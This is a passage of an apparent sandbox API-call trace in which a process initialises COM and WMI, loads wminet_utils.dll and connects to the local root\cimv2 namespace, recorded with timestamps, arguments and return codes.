	[0124.501] IMarshal:GetUnmarshalClass (in: This=0x783b68, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4fee6e0 | out: pCid=0x4fee6e0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.501] IUnknown:Release (This=0x783b68) returned 0x3
	[0124.502] CoGetContextToken (in: pToken=0x4fee6e8 | out: pToken=0x4fee6e8) returned 0x0
	[0124.502] WbemDefPath:IUnknown:AddRef (This=0x50afd90) returned 0x4
	[0124.502] WbemDefPath:IUnknown:QueryInterface (in: This=0x50afd90, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee75c | out: ppvObject=0x4fee75c*=0x0) returned 0x80004002
	[0124.502] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x3
	[0124.502] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x2
	[0124.502] WbemDefPath:IUnknown:Release (This=0x50afce8) returned 0x0
	[0124.502] WbemDefPath:IUnknown:Release (This=0x50afd90) returned 0x1
	[0124.502] SetEvent (hEvent=0x2b4) returned 1
	[0124.508] GetLastError () returned 0x36b7
	[0124.523] CoGetClassObject (in: rclsid=0x7aa204*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4feec9c | out: ppv=0x4feec9c*=0x50aff88) returned 0x0
	[0124.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x50aff88, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4feeacc | out: ppvObject=0x4feeacc*=0x0) returned 0x80004002
	[0124.524] WbemDefPath:IClassFactory:CreateInstance (in: This=0x50aff88, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4feeb04 | out: ppvObject=0x4feeb04*=0x50ada88) returned 0x0
	[0124.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee8a8 | out: ppvObject=0x4fee8a8*=0x50ada88) returned 0x0
	[0124.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4fee864 | out: ppvObject=0x4fee864*=0x0) returned 0x80004002
	[0124.524] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.524] CoGetContextToken (in: pToken=0x4fee6f0 | out: pToken=0x4fee6f0) returned 0x0
	[0124.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee6d8 | out: ppvObject=0x4fee6d8*=0x783cc8) returned 0x0
	[0124.524] IMarshal:GetUnmarshalClass (in: This=0x783cc8, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4fee6e0 | out: pCid=0x4fee6e0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.524] IUnknown:Release (This=0x783cc8) returned 0x3
	[0124.525] CoGetContextToken (in: pToken=0x4fee6e8 | out: pToken=0x4fee6e8) returned 0x0
	[0124.525] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x4
	[0124.525] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee75c | out: ppvObject=0x4fee75c*=0x0) returned 0x80004002
	[0124.525] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.525] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.525] WbemDefPath:IUnknown:Release (This=0x50aff88) returned 0x0
	[0124.525] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x1
	[0124.525] SetEvent (hEvent=0x2b8) returned 1
	[0124.525] GetLastError () returned 0x36b7
	[0124.967] CoGetClassObject (in: rclsid=0x7aa204*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4feec9c | out: ppv=0x4feec9c*=0x50adbf8) returned 0x0
	[0124.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x50adbf8, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4feeacc | out: ppvObject=0x4feeacc*=0x0) returned 0x80004002
	[0124.968] WbemDefPath:IClassFactory:CreateInstance (in: This=0x50adbf8, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4feeb04 | out: ppvObject=0x4feeb04*=0x50b4900) returned 0x0
	[0124.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4900, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee8a8 | out: ppvObject=0x4fee8a8*=0x50b4900) returned 0x0
	[0124.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4900, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4fee864 | out: ppvObject=0x4fee864*=0x0) returned 0x80004002
	[0124.968] WbemDefPath:IUnknown:AddRef (This=0x50b4900) returned 0x3
	[0124.968] CoGetContextToken (in: pToken=0x4fee6f0 | out: pToken=0x4fee6f0) returned 0x0
	[0124.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4900, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee6d8 | out: ppvObject=0x4fee6d8*=0x783e08) returned 0x0
	[0124.968] IMarshal:GetUnmarshalClass (in: This=0x783e08, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4fee6e0 | out: pCid=0x4fee6e0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.968] IUnknown:Release (This=0x783e08) returned 0x3
	[0124.969] CoGetContextToken (in: pToken=0x4fee6e8 | out: pToken=0x4fee6e8) returned 0x0
	[0124.969] WbemDefPath:IUnknown:AddRef (This=0x50b4900) returned 0x4
	[0124.969] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4900, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee75c | out: ppvObject=0x4fee75c*=0x0) returned 0x80004002
	[0124.969] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x3
	[0124.969] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x2
	[0124.969] WbemDefPath:IUnknown:Release (This=0x50adbf8) returned 0x0
	[0124.969] WbemDefPath:IUnknown:Release (This=0x50b4900) returned 0x1
	[0124.969] SetEvent (hEvent=0x300) returned 1
	[0124.969] GetLastError () returned 0x36b7
	[0127.782] CoGetClassObject (in: rclsid=0x7aa204*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4feec9c | out: ppv=0x4feec9c*=0x50b4c60) returned 0x0
	[0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x50b4c60, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4feeacc | out: ppvObject=0x4feeacc*=0x0) returned 0x80004002
	[0127.782] WbemDefPath:IClassFactory:CreateInstance (in: This=0x50b4c60, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4feeb04 | out: ppvObject=0x4feeb04*=0x50ae160) returned 0x0
	[0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ae160, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee8a8 | out: ppvObject=0x4fee8a8*=0x50ae160) returned 0x0
	[0127.782] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ae160, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4fee864 | out: ppvObject=0x4fee864*=0x0) returned 0x80004002
	[0127.783] WbemDefPath:IUnknown:AddRef (This=0x50ae160) returned 0x3
	[0127.783] CoGetContextToken (in: pToken=0x4fee6f0 | out: pToken=0x4fee6f0) returned 0x0
	[0127.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ae160, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee6d8 | out: ppvObject=0x4fee6d8*=0x7b5328) returned 0x0
	[0127.783] IMarshal:GetUnmarshalClass (in: This=0x7b5328, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4fee6e0 | out: pCid=0x4fee6e0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0127.783] IUnknown:Release (This=0x7b5328) returned 0x3
	[0127.783] CoGetContextToken (in: pToken=0x4fee6e8 | out: pToken=0x4fee6e8) returned 0x0
	[0127.783] WbemDefPath:IUnknown:AddRef (This=0x50ae160) returned 0x4
	[0127.783] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ae160, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4fee75c | out: ppvObject=0x4fee75c*=0x0) returned 0x80004002
	[0127.783] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x3
	[0127.783] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x2
	[0127.783] WbemDefPath:IUnknown:Release (This=0x50b4c60) returned 0x0
	[0127.783] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x1
	[0127.784] SetEvent (hEvent=0x308) returned 1
	[0127.784] GetLastError () returned 0x36b7

Thread:
	id = 102
	os_tid = 0xa84

	[0124.529] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0124.531] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x52fef70 | out: lpiid=0x52fef70) returned 0x0
	[0124.531] CoGetClassObject (in: rclsid=0x7aa45c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f11a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x52feed8 | out: ppv=0x52feed8*=0x50adbf8) returned 0x0
	[0124.531] WbemLocator:IUnknown:QueryInterface (in: This=0x50adbf8, riid=0x6f207ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x52fed08 | out: ppvObject=0x52fed08*=0x0) returned 0x80004002
	[0124.531] WbemLocator:IClassFactory:CreateInstance (in: This=0x50adbf8, pUnkOuter=0x0, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fed40 | out: ppvObject=0x52fed40*=0x50adc10) returned 0x0
	[0124.532] WbemLocator:IUnknown:QueryInterface (in: This=0x50adc10, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52feae4 | out: ppvObject=0x52feae4*=0x50adc10) returned 0x0
	[0124.532] WbemLocator:IUnknown:QueryInterface (in: This=0x50adc10, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x52feaa0 | out: ppvObject=0x52feaa0*=0x0) returned 0x80004002
	[0124.532] WbemLocator:IUnknown:AddRef (This=0x50adc10) returned 0x3
	[0124.532] CoGetContextToken (in: pToken=0x52fe92c | out: pToken=0x52fe92c) returned 0x0
	[0124.532] WbemLocator:IUnknown:QueryInterface (in: This=0x50adc10, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fe914 | out: ppvObject=0x52fe914*=0x0) returned 0x80004002
	[0124.532] CoGetContextToken (in: pToken=0x52fe924 | out: pToken=0x52fe924) returned 0x0
	[0124.532] WbemLocator:IUnknown:AddRef (This=0x50adc10) returned 0x4
	[0124.533] WbemLocator:IUnknown:QueryInterface (in: This=0x50adc10, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fe998 | out: ppvObject=0x52fe998*=0x0) returned 0x80004002
	[0124.533] WbemLocator:IUnknown:Release (This=0x50adc10) returned 0x3
	[0124.533] WbemLocator:IUnknown:Release (This=0x50adc10) returned 0x2
	[0124.533] WbemLocator:IUnknown:Release (This=0x50adbf8) returned 0x0
	[0124.533] WbemLocator:IUnknown:Release (This=0x50adc10) returned 0x1
	[0124.533] CoGetContextToken (in: pToken=0x52fee30 | out: pToken=0x52fee30) returned 0x0
	[0124.533] CoGetContextToken (in: pToken=0x52fedf0 | out: pToken=0x52fedf0) returned 0x0
	[0124.533] WbemLocator:IUnknown:AddRef (This=0x50adc10) returned 0x2
	[0124.533] WbemLocator:IUnknown:QueryInterface (in: This=0x50adc10, riid=0x52fee6c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x52fee68 | out: ppvObject=0x52fee68*=0x50adc10) returned 0x0
	[0124.533] WbemLocator:IUnknown:Release (This=0x50adc10) returned 0x2
	[0124.533] WbemLocator:IUnknown:Release (This=0x50adc10) returned 0x1
	[0124.535] CoGetContextToken (in: pToken=0x52feeac | out: pToken=0x52feeac) returned 0x0
	[0124.535] CoGetContextToken (in: pToken=0x52fee6c | out: pToken=0x52fee6c) returned 0x0
	[0124.535] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x2
	[0124.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x52feee8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x52feee4 | out: ppvObject=0x52feee4*=0x50ada88) returned 0x0
	[0124.535] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.535] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.535] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50ada88, puCount=0x52ff060 | out: puCount=0x52ff060*=0x2) returned 0x0
	[0124.535] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.536] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=8, puBuffLength=0x52ff05c*=0x0, pszText=0x0 | out: puBuffLength=0x52ff05c*=0xf, pszText=0x0) returned 0x0
	[0124.536] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=8, puBuffLength=0x52ff05c*=0xf, pszText="00000000000000" | out: puBuffLength=0x52ff05c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0124.539] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x52fe208, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpFilePart=0x0) returned 0x2e
	[0124.539] GetLastError () returned 0x0
	[0124.541] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\\\wminet_utils.dll") returned 0x6a310000
	[0124.809] GetProcAddress (hModule=0x6a310000, lpProcName="ResetSecurity") returned 0x6a311944
	[0124.812] GetProcAddress (hModule=0x6a310000, lpProcName="SetSecurity") returned 0x6a311986
	[0124.815] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServices") returned 0x6a3119cc
	[0124.820] GetProcAddress (hModule=0x6a310000, lpProcName="BlessIWbemServicesObject") returned 0x6a311a1e
	[0124.825] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyHandle") returned 0x6a311a70
	[0124.828] GetProcAddress (hModule=0x6a310000, lpProcName="WritePropertyValue") returned 0x6a311a89
	[0124.831] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2
	[0124.833] GetProcAddress (hModule=0x6a310000, lpProcName="VerifyClientKey") returned 0x6a312270
	[0124.836] GetProcAddress (hModule=0x6a310000, lpProcName="GetQualifierSet") returned 0x6a311d73
	[0124.839] GetProcAddress (hModule=0x6a310000, lpProcName="Get") returned 0x6a311b96
	[0124.841] GetProcAddress (hModule=0x6a310000, lpProcName="Put") returned 0x6a311b7a
	[0124.844] GetProcAddress (hModule=0x6a310000, lpProcName="Delete") returned 0x6a311bb5
	[0124.847] GetProcAddress (hModule=0x6a310000, lpProcName="GetNames") returned 0x6a311bc8
	[0124.850] GetProcAddress (hModule=0x6a310000, lpProcName="BeginEnumeration") returned 0x6a311be4
	[0124.852] GetProcAddress (hModule=0x6a310000, lpProcName="Next") returned 0x6a311bf7
	[0124.854] GetProcAddress (hModule=0x6a310000, lpProcName="EndEnumeration") returned 0x6a311c16
	[0124.856] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyQualifierSet") returned 0x6a311c26
	[0124.859] GetProcAddress (hModule=0x6a310000, lpProcName="Clone") returned 0x6a311aa2
	[0124.859] GetProcAddress (hModule=0x6a310000, lpProcName="GetObjectText") returned 0x6a311c3c
	[0124.861] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnDerivedClass") returned 0x6a311c52
	[0124.864] GetProcAddress (hModule=0x6a310000, lpProcName="SpawnInstance") returned 0x6a311c68
	[0124.866] GetProcAddress (hModule=0x6a310000, lpProcName="CompareTo") returned 0x6a311c7e
	[0124.868] GetProcAddress (hModule=0x6a310000, lpProcName="GetPropertyOrigin") returned 0x6a311c94
	[0124.870] GetProcAddress (hModule=0x6a310000, lpProcName="InheritsFrom") returned 0x6a311caa
	[0124.871] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethod") returned 0x6a311cbd
	[0124.873] GetProcAddress (hModule=0x6a310000, lpProcName="PutMethod") returned 0x6a311cd9
	[0124.875] GetProcAddress (hModule=0x6a310000, lpProcName="DeleteMethod") returned 0x6a311cf5
	[0124.877] GetProcAddress (hModule=0x6a310000, lpProcName="BeginMethodEnumeration") returned 0x6a311d08
	[0124.879] GetProcAddress (hModule=0x6a310000, lpProcName="NextMethod") returned 0x6a311d1b
	[0124.881] GetProcAddress (hModule=0x6a310000, lpProcName="EndMethodEnumeration") returned 0x6a311d37
	[0124.883] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodQualifierSet") returned 0x6a311d47
	[0124.886] GetProcAddress (hModule=0x6a310000, lpProcName="GetMethodOrigin") returned 0x6a311d5d
	[0124.887] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Get") returned 0x6a311d86
	[0124.890] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Put") returned 0x6a311da2
	[0124.892] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Delete") returned 0x6a311dbb
	[0124.894] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_GetNames") returned 0x6a311dce
	[0124.896] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6a311de4
	[0124.898] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_Next") returned 0x6a311df7
	[0124.900] GetProcAddress (hModule=0x6a310000, lpProcName="QualifierSet_EndEnumeration") returned 0x6a311e13
	[0124.902] GetProcAddress (hModule=0x6a310000, lpProcName="GetCurrentApartmentType") returned 0x6a311d73
	[0124.904] GetProcAddress (hModule=0x6a310000, lpProcName="GetDemultiplexedStub") returned 0x6a3118fd
	[0124.906] GetProcAddress (hModule=0x6a310000, lpProcName="CreateInstanceEnumWmi") returned 0x6a311580
	[0124.908] GetProcAddress (hModule=0x6a310000, lpProcName="CreateClassEnumWmi") returned 0x6a3115f6
	[0124.911] GetProcAddress (hModule=0x6a310000, lpProcName="ExecQueryWmi") returned 0x6a31169e
	[0124.914] GetProcAddress (hModule=0x6a310000, lpProcName="ExecNotificationQueryWmi") returned 0x6a311717
	[0124.917] GetProcAddress (hModule=0x6a310000, lpProcName="PutInstanceWmi") returned 0x6a311790
	[0124.920] GetProcAddress (hModule=0x6a310000, lpProcName="PutClassWmi") returned 0x6a311810
	[0124.923] GetProcAddress (hModule=0x6a310000, lpProcName="CloneEnumWbemClassObject") returned 0x6a311890
	[0124.925] GetProcAddress (hModule=0x6a310000, lpProcName="ConnectServerWmi") returned 0x6a3124b7
	[0124.927] CoCreateInstance (in: rclsid=0x6a3113a0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6a3112d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x52feb38 | out: ppv=0x52feb38*=0x50adc20) returned 0x0
	[0124.927] WbemLocator:IWbemLocator:ConnectServer (in: This=0x50adc20, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x52feb84 | out: ppNamespace=0x52feb84*=0x50add1c) returned 0x0
	[0124.933] IUnknown:QueryInterface (in: This=0x50add1c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fea54 | out: ppvObject=0x52fea54*=0x7ace5c) returned 0x0
	[0124.933] IClientSecurity:QueryBlanket (in: This=0x7ace5c, pProxy=0x50add1c, pAuthnSvc=0x52fea9c, pAuthzSvc=0x52fea98, pServerPrincName=0x52feaa8, pAuthnLevel=0x52feaa0, pImpLevel=0x52fea8c, pAuthInfo=0x52fea90, pCapabilites=0x52fea94 | out: pAuthnSvc=0x52fea9c*=0xa, pAuthzSvc=0x52fea98*=0x0, pServerPrincName=0x52feaa8, pAuthnLevel=0x52feaa0*=0x6, pImpLevel=0x52fea8c*=0x2, pAuthInfo=0x52fea90, pCapabilites=0x52fea94*=0x1) returned 0x0
	[0124.933] IUnknown:Release (This=0x7ace5c) returned 0x1
	[0124.933] IUnknown:QueryInterface (in: This=0x50add1c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fea48 | out: ppvObject=0x52fea48*=0x7ace7c) returned 0x0
	[0124.933] IUnknown:QueryInterface (in: This=0x50add1c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x52fea44 | out: ppvObject=0x52fea44*=0x7ace5c) returned 0x0
